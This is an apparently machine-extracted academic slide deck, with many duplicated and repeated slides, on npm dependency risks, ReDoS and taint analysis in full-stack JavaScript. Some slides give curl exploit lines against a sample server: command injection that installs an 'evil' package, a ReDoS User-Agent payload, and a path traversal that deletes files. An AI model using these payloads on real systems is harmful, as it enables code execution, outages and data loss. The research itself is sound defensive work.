Enhancing the Security and Privacy of Full-Stack JavaScript Web Applications

Cristian-Alexandru Staicu

TU Darmstadt

www.software-lab.org

18th of March 2020
JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:

JavaScript is an unusual programming language:
JavaScript is an unusual programming language:

- controversial: either love it 😍 or hate it 😞
JavaScript is an unusual programming language:

- controversial: either love it 😊 or hate it 😞
- single-threaded 👍, event-based runtime

JavaScript is Special
JavaScript is an unusual programming language:

- controversial: either love it 😍 or hate it 😞
- single-threaded 👍, event-based runtime
JavaScript is an unusual programming language:

- **controversial**: either love it 😊 or hate it 😟
- single-threaded 👍, event-based runtime
- **thin** standard library, e.g., reverse a string (Stack Overflow)
  
  ```javascript
  str.split(" ").reverse().join(" ");
  ```
JavaScript is an unusual programming language:

- **controversial**: either love it 😊 or hate it 😞
- **single-threaded** 👍, event-based runtime
- **thin** standard library, e.g., reverse a string (Stack Overflow)
  
  ```javascript
  str.split('').reverse().join('');
  ```

- heavy usage of **frameworks** 🤝: Angular, React, Vue.js, etc.
JavaScript is an unusual programming language:

- **controversial**: either love it 😊 or hate it 🙁
- **single-threaded** 👍, event-based runtime
- **thin** standard library, e.g., reverse a string (Stack Overflow)
  
  ```javascript
  str.split("").reverse().join("");
  ```

- heavy usage of **frameworks** 🔍: Angular, React, Vue.js, etc.
- hard to (statically) **analyze** 😕
JavaScript Everywhere Paradigm

Server-side: Node.js, Deno

Desktop applications: Electron, NW.js, WinRT

Mobile applications: Cordova, ReactNative, Ionic

IoT/Robotics: TIZEN, Johnny-Five, Espruino, Node-RED

Other: browser extensions, PDFs, Gnome Shell
JavaScript Everywhere Paradigm

**Server-side:** Node.js, Deno

**Desktop applications:** Electron, NW.js, WinRT

**Mobile applications:** Cordova, ReactNative, Ionic

**IoT/Robotics:** TIZEN, Johnny-Five, Espruino, Node-RED

**Other:** browser extensions, PDFs, Gnome Shell
PhD Thesis: Full-Stack JavaScript Web Applications

Library developer

Application developer

JavaScript code

Publish npm library

Execute server-side code

JavaScript code

Develop web application

JavaScript code

Execute client-side code

JavaScript code, HTML, images

User

Chapter 2

Chapter 4

Chapter 7

Chapter 9

Chapter 5

Chapter 8

Chapter 3

Chapter 6
PhD Thesis: Full-Stack JavaScript Web Applications

Library developer

- Publish npm library
- JavaScript code

Application developer

- Develop web application
- JavaScript code
- Execute server-side code

- JavaScript code, HTML, images
- Execute client-side code

User

Chapter 2
Chapter 4
Chapter 7
Chapter 9
PhD Thesis: Full-Stack JavaScript Web Applications

Library developer

JavaScript code

Publish npm library

JavaScript code

Execute server-side code

JavaScript code, HTML, images

Execute client-side code

Application developer

JavaScript code

Develop web application

JavaScript code

User

Chapter 2
Chapter 4
Chapter 7
Chapter 9
Chapter 5
Chapter 8
PhD Thesis: Full-Stack JavaScript Web Applications

Library developer

- Publish npm library
  - JavaScript code

Application developer

- Develop web application
  - JavaScript code

Execute server-side code

- JavaScript code
  - HTML, images

Execute client-side code

User
PhD Thesis: Full-Stack JavaScript Web Applications

Library developer

→ Chapter 2
Chapter 4
Chapter 7
Chapter 9

Application developer

→ Chapter 5
Chapter 8
Chapter 3
Chapter 6

JavaScript code
Publish npm library

JavaScript code
Develop web application

JavaScript code, HTML, images
Execute server-side code

JavaScript code
Execute client-side code

User
PhD Thesis: Full-Stack JavaScript Web Applications

Library developer

- Publish npm library
- JavaScript code

Application developer

- Develop web application
- JavaScript code

- Execute server-side code

- Execute client-side code

- JavaScript code, HTML, images

User

Chapter 2
Chapter 4
Chapter 7
Chapter 9

→ Chapter 5
Chapter 8
Chapter 3
Chapter 6
PhD Thesis: Full-Stack JavaScript Web Applications

Library developer

Publish npm library

JavaScript code

Execute server-side code

JavaScript code

Execute client-side code

User

Application developer

Develop web application

JavaScript code

Chapter 2
Chapter 4
Chapter 7
→ Chapter 9

Chapter 5
Chapter 8
Chapter 3
Chapter 6
Full-stack JavaScript web applications present unique challenges and opportunities to the security analysts that need to be addressed by novel tools and practices.
Full-stack JavaScript web applications present unique challenges and opportunities to the security analysts that need to be addressed by novel tools and practices.

<table>
<thead>
<tr>
<th>Particularity</th>
<th>Chapters</th>
</tr>
</thead>
<tbody>
<tr>
<td>New threat model</td>
<td>Chapter 4, 5, 7</td>
</tr>
<tr>
<td>Excessive code reuse</td>
<td>Chapter 2, 5, 8, 9</td>
</tr>
<tr>
<td>Code transformations</td>
<td>Chapter 3</td>
</tr>
<tr>
<td>Full-stack threats</td>
<td>Chapter 6</td>
</tr>
</tbody>
</table>
**Full-stack JavaScript web applications present unique challenges and opportunities to the security analysts that need to be addressed by novel tools and practices.**

<table>
<thead>
<tr>
<th>Particularity</th>
<th>Chapters</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>New threat model</strong></td>
<td>Chapter 4, 5, 7</td>
</tr>
<tr>
<td><strong>Excessive code reuse</strong></td>
<td>Chapter 2, 5, 8, 9</td>
</tr>
<tr>
<td><strong>Code transformations</strong></td>
<td>Chapter 3</td>
</tr>
<tr>
<td><strong>Full-stack threats</strong></td>
<td>Chapter 6</td>
</tr>
</tbody>
</table>
How can a language with a thin API serve all these purposes? Npm offers 1.2M reusable packages/libraries/components
How can a language with a thin API serve all these purposes? **Npm** offers 1.2M reusable packages/libraries/components.

**How to make a third-party request?**

```bash	npm install request // 18.5M downloads per week
```
How can a language with a thin API serve all these purposes? **npm** offers 1.2M reusable packages/libraries/components

**How to make a third-party request?**

`npm install request` // 18.5M downloads per week

**How to open a web socket?**

`npm install ws` // 21.3M downloads per week
How can a language with a thin API serve all these purposes? 

npm offers 1.2M reusable packages/libraries/components

**How to make a third-party request?**

`npm install request // 18.5M downloads per week`

**How to open a web socket?**

`npm install ws // 21.3M downloads per week`

**How to test if a number is odd?** `num % 2 === 1 ?`

`npm install is-odd // 500K downloads per week`
Motivating Example

**Requirement**

Build a **microservice** that implements the following:

- **create an OS notification** showing the client’s browser name
- accepts a set of temporary folders as REST parameter
- the folder names are separated by semicolons
- **recursively remove** each temporary folder

Decided to use the following packages:

- **express** [11.5M] for handling HTTP requests
- **ua-parser-js** [4.5M] for parsing the **User-Agent**
- **growl** [3.5M] for showing notifications
- **rimraf** [26.5M] for recursively removing folders
- **lodash** [27.0M] for convenience
Motivating Example

**Requirement**

Build a **microservice** that implements the following:

- **create an OS notification** showing the client’s browser name
- accepts a set of temporary folders as REST parameter
- the folder names are separated by semicolons
- **recursively remove** each temporary folder

Decided to use the following packages:

- **express** [11.5M] for handling HTTP requests
- **ua-parser-js** [4.5M] for parsing the **User-Agent**
- **growl** [3.5M] for showing notifications
- **rimraf** [26.5M] for recursively removing folders
- **lodash** [27.0M] for convenience
Motivating Example

```javascript
const express = require("express");
const parser = require("ua-parser-js");
const notif = require("growl");
const lodash = require("lodash");
const rimraf = require("rimraf");

const app = express();
app.get('/:dirs', (req, res) => {
  let ua = parser(req.headers["user-agent"]);
  notif('Browser: ${ua.browser.name}. Agent: ${ua.ua}');
  let dirs = req.params["dirs"].split(";");
  lodash.forEach(dirs, (dir) => {
    rimraf('/tmp/${dir}', (error) => {
      res.send('Successfully deleted folders.');
    });
  });
});
app.listen(8080);
```

Is this code secure?
const express = require("express");
const parser = require("ua-parser-js");
constnotif = require("growl");
constlodash = require("lodash");
const rimos = require("rimraf");
const app = express();
app.get(`/:dirs`, (req, res) => {

Motivating Example

```javascript
const express = require("express");
const parser = require("ua-parser-js");
const notif = require("growl");
const lodash = require("lodash");
const rimraf = require("rimraf");
const app = express();
app.get('/:dirs', (req, res) => {
  let ua = parser(req.headers["user-agent"]);
  notif('Browser: ${ua.browser.name}. Agent: ${ua.ua}');
  let dirs = req.params["dirs"].split(";"),
  lodash.forEach(dirs, (dir) => {
    rimraf('/tmp/${dir}', (error) => {
      res.send('Successfully deleted folders.');
    });
  });
});
app.listen(8080);
```

Is this code secure?
Motivating Example

```javascript
const express = require("express");
const parser = require("ua-parser-js");
constnotif = require("growl");
const lodash = require("lodash");
const rimraf = require("rimraf");
const app = express();
app.get('/:dirs', (req, res) => {
    let ua = parser(req.headers["user-agent"]);
    notif(`Browser: ${ua.browser.name}. Agent: ${ua.ua}`);
    let dirs = req.params["dirs"].split(";");
    lodash.forEach(dirs, (dir) => {
        rimraf(`/tmp/${dir}`, (error) => {
        res.send('Successfully deleted folders.');
    });
});
app.listen(8080);
```
Motivating Example

```javascript
const express = require("express");
const parser = require("ua-parser-js");
constnotif = require("growl");
constlodash = require("lodash");
const rimraf = require("rimraf");
const app = express();

app.get('/:dirs', (req, res) => {
  let ua = parser(req.headers["user-agent"]);
  notif(`Browser: ${ua.browser.name}. Agent: ${ua.ua}`);
  let dirs = req.params["dirs"].split(";");
  lodash.forEach(dirs, (dir) => {
```
Motivating Example

const express = require("express");
const parser = require("ua-parser-js");
const notif = require("growl");
const lodash = require("lodash");
const rimraf = require("rimraf");

const app = express();
app.get(`/:dirs`, (req, res) => {
  let ua = parser(req.headers["user-agent"]);
  notif(`Browser: ${ua.browser.name}. Agent: ${ua.ua}`);
  let dirs = req.params["dirs"].split(";");
  lodash.forEach(dirs, (dir) => {
    rimraf(`/tmp/${dir}`, (error) => {
      res.send('Successfully deleted folders.');
    });
  });
});
app.listen(8080);
const express = require("express");
const parser = require("ua-parser-js");
const notif = require("growl");
const lodash = require("lodash");
const rimraf = require("rimraf");
const app = express();

app.get('/:dirs', (req, res) => {
    let ua = parser(req.headers["user-agent"]);
    notif(`Browser: ${ua.browser.name}. Agent: ${ua.ua}`);
    let dirs = req.params["dirs"].split(";");
    lodash.forEach(dirs, (dir) => {
        rimraf(`/tmp/${dir}`, (error) => {
            res.send("Successfully deleted folders.");
        });
    });

});

app.listen(8080);
Vulnerability #1: Command Injection/RCE

```javascript
const notif = require("growl");
notif('Browser: ${ua.browser.name}. Agent: ${ua.ua}');
```

CVE-2017-16042 [CRITICAL]: no sanitization inside the module.

Exploit [install an evil package]

curl -A "x\$(npm install evil)" "http://server:8080/dir"

Other reports: "adding any sort of function sanitizer directly into #module-name# is pretty out of scope".

More details in Synode: Understanding and Automatically Preventing Injection Attacks on Node.js, Cristian-Alexandru Staicu, Michael Pradel, Ben Livshits, NDSS 2018
const notif = require("growl");
notif('Browser: ${ua.browser.name}. Agent: ${ua.ua}');

CVE-2017-16042 [CRITICAL]: no sanitization inside the module.
Vulnerability #1: Command Injection/RCE

```
constnotif = require("growl");
notif(`Browser: ${ua.browser.name}. Agent: ${ua.ua}`);
```

**CVE-2017-16042 [CRITICAL]:** no sanitization inside the module.

**Exploit [install an evil package]**

```
curl -A "x\$(npm install evil)" "http://server:8080/dir"
```
Vulnerability #1: Command Injection/RCE

```javascript
const notif = require("growl");
notif(`Browser: ${ua.browser.name}. Agent: ${ua.ua}`);
```

**CVE-2017-16042 [CRITICAL]:** no sanitization inside the module.

**Exploit [install an evil package]**

```bash
curl -A "x\$(npm install evil)" "http://server:8080/dir"
```

Other reports: “adding any sort of function sanitizer directly into #module-name# is pretty out of scope”.

More details in *Synode: Understanding and Automatically Preventing Injection Attacks on Node.js*, Cristian-Alexandru Staicu, Michael Pradel, Ben Livshits, NDSS 2018
How serious is the risk?

**TM-pkg:** An adversary may convince the current maintainers of a package to **add her as a maintainer.**
Different Threat Models (TM) for Npm

**TM-pkg:** An adversary may convince the current maintainers of a package to *add her as a maintainer*.

**TM-acc:** An attacker may *compromise the credentials* of a maintainer to deploy insecure or malicious code.
Different Threat Models (TM) for Npm

**TM-pkg:** An adversary may convince the current maintainers of a package to **add her as a maintainer.**

**TM-acc:** An attacker may **compromise the credentials** of a maintainer to deploy insecure or malicious code.

**TM-leg:** An attacker can exploit applications that transitively depend on **vulnerable or legacy code.**
An average package transitively depends on 79 others.
An average package transitively depends on 79 others.
An average package is influenced by 39 maintainers.
An average package is influenced by 39 maintainers.
Up to 40% of the packages depend on vulnerable code.
Up to 40% of the packages depend on vulnerable code.
Large attack surface
average package trusts 79 packages and 39 maintainers
Our Contributions

**Large attack surface**
average package trusts 79 packages and 39 maintainers

**Increase over the years**
number of trusted maintainers doubled in three years

Vulnerable code is a problem
up to 40% of the ecosystem relies on unpatched code
Our Contributions

Large attack surface
average package trusts 79 packages and 39 maintainers

Increase over the years
number of trusted maintainers doubled in three years

Vulnerable code is a problem
up to 40% of the ecosystem relies on unpatched code
Does the problem affect real websites?

Freezing the Web: A Study of ReDoS Vulnerabilities in JavaScript-based Web Servers,
Cristian-Alexandru Staicu, Michael Pradel, USENIX Security 2018
Regular Expression Denial of Service (ReDoS)

input: "Lorem ipsum"

processing time: $O(1)$

input: "˘ a´ o´As, x 1000

processing time: $O(n \times x > 1)$
Regular Expression Denial of Service (ReDoS)

input: "Lorem ipsum"

input.match(regexp);

processing time: \( O(1) \)

input: "˘ a´ o´As", x 1000

processing time: \( O(n^x) \), x > 1
Regular Expression Denial of Service (ReDoS)

input: "Lorem ipsum"
processing time: $O(1)$

input.match(regexp);
Regular Expression Denial of Service (ReDoS)

input: "Lorem ipsum"

processing time: $O(1)$

input.match(regexp);
Regular Expression Denial of Service (ReDoS)

input: "Lorem ipsum"
processing time: $O(1)$

input: "˘ a´ o˘ A´s",
input: "åóÅš" × 1000

input.match(regexp);
Regular Expression Denial of Service (ReDoS)

input: "Lorem ipsum"
processing time: $O(1)$

input: "˘ a´ o ˘As" $\times 1000$
processing time: $O(n^x), x > 1$

input: match(regexp);
Overview

Npm modules → ReDoS analysis of libraries

(Phase 1)
Overview

Npm modules → ReDoS analysis of libraries

Module level vulnerabilities

Usage scenarios → Exploits creation

(Phase 1)

(Phase 2)
Overview

- Npm modules → ReDoS analysis of libraries (Phase 1)
- Module level vulnerabilities
- Usage scenarios → Exploits creation (Phase 2)
- Payloads using HTTP requests
- List of websites using Node.js → ReDoS analysis of websites
- List of vulnerable websites (Phase 3)
Phase 1+2: Vulnerable Regular Expressions

- 25 vulnerabilities, 13 advisories, 8 HTTP-level payloads
Phase 1+2: Vulnerable Regular Expressions

- 25 vulnerabilities, 13 advisories, 8 HTTP-level payloads
- **CVE-2017-16086 [HIGH]**: exponential slowdown.
  
  `/iphon[honead]+(.*os\s([\\w]+)\slike\smac|;\sopera)/`
Phase 1+2: Vulnerable Regular Expressions

- 25 vulnerabilities, 13 advisories, 8 HTTP-level payloads
- **CVE-2017-16086 [HIGH]:** exponential slowdown.

Vulnerability #2 in motivating example:

```javascript
let ua = parser(req.headers["user-agent"]);
```

```bash
/c[honead]+(.*os\s([\w]+)\slike\smac;;;;sopera)/
```
Phase 1+2: Vulnerable Regular Expressions

- 25 vulnerabilities, 13 advisories, 8 HTTP-level payloads
- **CVE-2017-16086 [HIGH]:** exponential slowdown.
  
  `/ip[honead]+(.*os\s([\\w]+)*\slike\smsmac|;\sopera)/`

Vulnerability #2 in motivating example:

```javascript
let ua = parser(req.headers["user-agent"]);
```

**Exploit [block server for \(O(e^{|x|})\); 36x = 2.5min; 37x = 5min]**

```
curl -A "iphos xxxxxxxxxxxxxxx" "http://server:8080/dir"
```
Phase 3: Websites Analysis

P1
100ms

3x  5x
3x  5x

Analyze 2,800 websites from Top 1 million.
Phase 3: Websites Analysis

P1
100ms

P2
200ms

Analyze 2,800 websites from Top 1 million.
### Phase 3: Websites Analysis

<table>
<thead>
<tr>
<th></th>
<th>P1</th>
<th>P2</th>
<th>P3</th>
<th>P4</th>
<th>P5</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>100ms</td>
<td>200ms</td>
<td>500ms</td>
<td>1s</td>
<td>2s</td>
</tr>
<tr>
<td></td>
<td>3x</td>
<td>3x</td>
<td>3x</td>
<td>3x</td>
<td>3x</td>
</tr>
<tr>
<td></td>
<td>5x</td>
<td>5x</td>
<td>5x</td>
<td>5x</td>
<td>5x</td>
</tr>
</tbody>
</table>

Analyze 2,800 websites from Top 1 million.
### Phase 3: Websites Analysis

<table>
<thead>
<tr>
<th></th>
<th>P1</th>
<th>P2</th>
<th>P3</th>
<th>P4</th>
<th>P5</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>100ms</td>
<td>200ms</td>
<td>500ms</td>
<td>1s</td>
<td>2s</td>
</tr>
<tr>
<td></td>
<td>3x</td>
<td>3x</td>
<td>3x</td>
<td>3x</td>
<td>3x</td>
</tr>
<tr>
<td></td>
<td>5x</td>
<td>5x</td>
<td>5x</td>
<td>5x</td>
<td>5x</td>
</tr>
<tr>
<td></td>
<td>5x</td>
<td>5x</td>
<td>5x</td>
<td>5x</td>
<td>5x</td>
</tr>
</tbody>
</table>

### Criterion for vulnerable websites

We consider a website to be vulnerable if and only if:

- **statistically significant difference** between the random and crafted response times,
- this difference increases when the input size increases.
Phase 3: Websites Analysis

**Criterion for vulnerable websites**

We consider a website to be vulnerable if and only if:

- **statistically significant difference** between the random and crafted response times,
- this difference increases when the input size increases.

Analyze 2,800 websites from Top 1 million.
Phase 3: Response Time of A Non-Vulnerable Website

![Graph showing response time vs payload number for random and crafted payload for Phase 3. The x-axis represents payload number (increasing in size), and the y-axis represents response time (ms). Two lines are depicted: Random (blue) and Crafted (orange).](image-url)
Phase 3: Response Time of A Vulnerable Website

![Graph showing response time vs payload number]

- **Phase 3**
  - **Response Time of A Vulnerable Website**
  
  **Graph Details**
  - **X-axis**: Payload number (increasing in size)
  - **Y-axis**: Response time (ms)
  - **Lines**:
    - Random
    - Crafted
  
  The graph illustrates the response time in milliseconds as the payload number increases from P1 to P5, showing that crafted payloads tend to have a higher response time compared to random payloads.
Phase 3: Number of Vulnerable Websites

<table>
<thead>
<tr>
<th>Exploit</th>
<th>Number of sites affected</th>
</tr>
</thead>
<tbody>
<tr>
<td>fresh</td>
<td>241</td>
</tr>
<tr>
<td>forwarded</td>
<td>99</td>
</tr>
<tr>
<td>ua-parser-js</td>
<td>41</td>
</tr>
<tr>
<td>useragent</td>
<td>16</td>
</tr>
<tr>
<td>mobile-detect</td>
<td>9</td>
</tr>
<tr>
<td>platform</td>
<td>8</td>
</tr>
<tr>
<td>charset</td>
<td>3</td>
</tr>
<tr>
<td>content</td>
<td>0</td>
</tr>
</tbody>
</table>

In total: 339 (11%) websites are vulnerable
Our Contributions

**ReDoS affects libraries**

we identify 25 vulnerabilities in popular npm modules
Our Contributions

**ReDoS affects libraries**
we identify 25 vulnerabilities in popular npm modules

**ReDoS affects websites**
hundreds of live websites are vulnerable
Our Contributions

ReDoS affects libraries
we identify 25 vulnerabilities in popular npm modules

ReDoS affects websites
hundreds of live websites are vulnerable

Novel methodology
library vulnerability → website vulnerability
Can we fix the problem?

Extracting Taint Specifications for JavaScript Libraries, Cristian-Alexandru Staicu, Martin Toldam Torp, Max Schäfer, Anders Møller, Michael Pradel, ICSE 2020
Is there a flow from the **source** to the **sink**?

```javascript
let val = source();

val = val.replace("\n", "");

const padding = "pad";

val = padding + val;

sink(val);
```
Is there a flow from the `source` to the `sink`?

```javascript
let val = source();

val = val.replace("\n", "");

const padding = "pad";

val = padding + val;

sink(val);"
Is there a flow from the **source** to the **sink**?

```javascript
let val = source();
val = val.replace("\n", "");

const padding = "pad";
val = padding + val;
sink(val);
```
Is there a flow from the source to the sink?

```javascript
let val = source();
val = val.replace("\n", "");

const padding = "pad";
val = padding + val;
sink(val);
```
Is there a flow from the `source` to the `sink`?

```javascript
let val = source();
val = val.replace("\n", "");
const padding = "pad";
val = padding + val;
sink(val);
```
Is there a flow from the **source** to the **sink**?

```javascript
let val = source();
val = val.replace("\n", "");
const padding = "pad";
val = padding + val;
sink(val);
```
Is there a flow from the **source** to the **sink**?

```javascript
let val = source();
val = val.replace("\n", "");
const padding = "pad";
val = padding + val;
sink(val);
```
const passwd = require("read-password");
const transform = require("transform");
const httpReq = require("http-request");

let key = passwd();
let keyT = transform(key);
httpReq(keyT);
const passwd = require("read-password");
const tranform = require("transform");
const httpReq = require("http-request");

let key = passwd();
let keyT = transform(key);

httpReq(keyT);

// Does the password flow to third parties?
// Probably yes!
const passwd = require("read-password");
const tranform = require("transform");
const httpReq = require("http-request");

let key = passwd();
let keyT = transform(key);

httpReq(keyT);
const passwd = require("read-password");
const transform = require("transform");
const httpReq = require("http-request");

let key = passwd();
let keyT = transform(key);

httpReq(keyT);

source();

Does the password flow to third parties?
Probably yes!
const passwd = require("read-password");
const tranform = require("transform");
const httpReq = require("http-request");

let key = passwd();
let keyT = transform(key);

httpReq(keyT);
const passwd = require("read-password");
const transform = require("transform");
const httpReq = require("http-request");

let key = passwd();
let keyT = transform(key);

httpReq(keyT);

source();

let [key] = passwd();
let [keyT] = transform(key);

httpReq[keyT];

sink();

Does the password flow to third parties?

Probably yes!
const passwd = require("read-password");
const transform = require("transform");
const httpReq = require("http-request");

let key = passwd();
let keyT = transform(key);
httpReq(keyT);

Does the password flow to third parties?

Probably yes!
`const passwd = require("read-password");
const transform = require("transform");
const httpReq = require("http-request");

let key = passwd();
let keyT = transform(key);
httpReq(keyT);

Does the password flow to third parties? Probably yes!
Vulnerability #3 in motivating example:

```javascript
let dirs = req.params["dirs"].split(";");

lodash.forEach(dirs, (dir) => {

    rimraf(`/tmp/${dir}`, (error) => { }

});

}```
Vulnerability #3 in motivating example:

```javascript
let dirs = req.params["dirs"].split(";");

lodash.forEach(dirs, (dir) => {
    rimraf(`/tmp/${dir}`, (error) => {
    });
});
```

Exploit [delete folders outside the tmp dir]

curl "http://server:8080/.../home/cstaicu/Pictures"
Vulnerability #3 in motivating example:

```javascript
let dirs = req.params["dirs"].split(";");

lodash.forEach(dirs, (dir) => {
  rimraf(`/tmp/${dir}`, (error) => {
  });
});
```

Exploit [delete folders outside the tmp dir]
curl "http://server:8080/./../home/cstaicu/Pictures"
Vulnerability #3 in motivating example:

```javascript
let dirs = req.params["dirs"].split(";");
lodash.forEach(dirs, (dir) => {
    rimraf(`/tmp/${dir}`, (error) => {
        
    
    
    
});
```
Vulnerability #3 in motivating example:

```javascript
let dirs = req.params["dirs"].split(";");

lodash.forEach(dirs, (dir) => {

  rimraf(`/tmp/${dir}`, (error) => {

  });

});
```

Exploit [delete folders outside the tmp dir]

curl "http://server:8080/.../home/cstaicu/Pictures"
Vulnerability #3 in motivating example:

```javascript
let dirs = req.params['dirs'].split(';;');

lodash.forEach(dirs, (dir) => {
    rimraf(`/tmp/${dir}`, (error) => {
    });
});

fs.rmdir();
```
More Complex Entry and Exit Points

Vulnerability #3 in motivating example:

```javascript
let dirs = req.params["dirs"].split(";");

lodash.forEach(dirs, (dir) => {
    rimraf(`/tmp/${dir}`, (error) => {
    });
});
```

Exploit [delete folders outside the tmp dir]

```
curl "http://server:8080/\.\.\./home\cstaicu/Pictures"
```
Humans and analyses must consider the semantics of libraries.
Humans and analyses **must consider the semantics of libraries.**

**Solution 1:** analyze libraries together with client code.
- humans: audit all the transitive dependencies (79 on average)
- analyses: resolve library calls, e.g., `forEach` spans 34 files
Humans and analyses must consider the semantics of libraries.

Solution 1: analyze libraries together with client code.
- humans: audit all the transitive dependencies (79 on average)
- analyses: resolve library calls, e.g., `forEach` spans 34 files

Solution 2: manually written models for popular libraries.
- expensive to write and maintain
- tightly coupled to a given analysis
Humans and analyses must consider the semantics of libraries.

**Solution 1:** analyze libraries together with client code.
- humans: audit all the transitive dependencies (79 on average)
- analyses: resolve library calls, e.g., `forEach` spans 34 files

**Solution 2:** manually written models for popular libraries.
- expensive to write and maintain
- tightly coupled to a given analysis

**Solution 3:** specify security-relevant information for libraries.
- “the second argument flows directly into `eval`”
- “property `foo` of the callback’s first argument is user data”
Humans and analyses **must consider the semantics of libraries.**

**Solution 1:** analyze libraries together with client code.
- humans: audit all the transitive dependencies (79 on average)
- analyses: resolve library calls, e.g., `forEach` spans 34 files

**Solution 2:** manually written models for popular libraries.
- expensive to write and maintain
- tightly coupled to a given analysis

**Solution 3:** specify security-relevant information for libraries.
- “the second argument flows directly into `eval`”
- “property `foo` of the callback’s first argument is user data”
Specifications format
human readable; support complex operations, e.g., callbacks

Automatic extraction
take into consideration npm particularities
Specifications format
human readable; support complex operations, e.g., callbacks

Automatic extraction
take into consideration npm particularities
### Three Types of Specifications

<table>
<thead>
<tr>
<th>Additional sink</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>An entry point</strong> of the library is a sink.</td>
</tr>
</tbody>
</table>

```javascript
const val = getUserInput();
lodash.forEach(userInput, (value) => {...});
sendOnNetwork(val);
```
### Three Types of Specifications

**Additional sink**

An *entry point* of the library is a sink.

```javascript
sendOnNetwork(val);
```

**Propagation**

The value from an *entry point* is propagated to the *exit point*.

```javascript
lodash.forEach(userInput, function(value) { ... });
```
Three Types of Specifications

Additional sink

An entry point of the library is a sink.

```
sendOnNetwork(val);
```

Propagation

The value from an entry point is propagated to the exit point.

```
lodash.forEach(userInput, function(value) { ... });
```

Additional source

An exit point of the library is a source.

```
const val = getUserInput();
```
Duality of Interface Points

module.exports = x;

function (x) {}
# Duality of Interface Points

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Access Path</th>
<th>Exit Point</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## Duality of Interface Points

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Access Path</th>
<th>Exit Point</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>module.exports = x;</code></td>
<td><code>(root foo)</code></td>
<td><code>require(&quot;foo&quot;);</code></td>
</tr>
</tbody>
</table>
## Duality of Interface Points

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Access Path</th>
<th>Exit Point</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>module.exports = x;</code></td>
<td><code>(root foo)</code></td>
<td><code>require(&quot;foo&quot;);</code></td>
</tr>
<tr>
<td><code>o.f = x;</code></td>
<td><code>(member f)</code></td>
<td><code>o.f;</code></td>
</tr>
</tbody>
</table>

```javascript
const lodash = require("lodash");
lodash.forEach(dirs, (dir) => {});
```
Duality of Interface Points

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Access Path</th>
<th>Exit Point</th>
</tr>
</thead>
<tbody>
<tr>
<td>module.exports = x;</td>
<td></td>
<td></td>
</tr>
<tr>
<td>o.f = x;</td>
<td>(root foo)</td>
<td>require(&quot;foo&quot;);</td>
</tr>
<tr>
<td>foo(x);</td>
<td>(member f ✠)</td>
<td>o.f;</td>
</tr>
<tr>
<td></td>
<td>(parameter 0 ✠)</td>
<td>function(x) {};</td>
</tr>
</tbody>
</table>
## Duality of Interface Points

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Access Path</th>
<th>Exit Point</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>module.exports = x;</code></td>
<td>(root foo)</td>
<td>require(&quot;foo&quot;);</td>
</tr>
<tr>
<td><code>o.f = x;</code></td>
<td>(member f)</td>
<td>o.f;</td>
</tr>
<tr>
<td><code>foo(x);</code></td>
<td>(parameter 0)</td>
<td>function(x) {};</td>
</tr>
</tbody>
</table>

```javascript
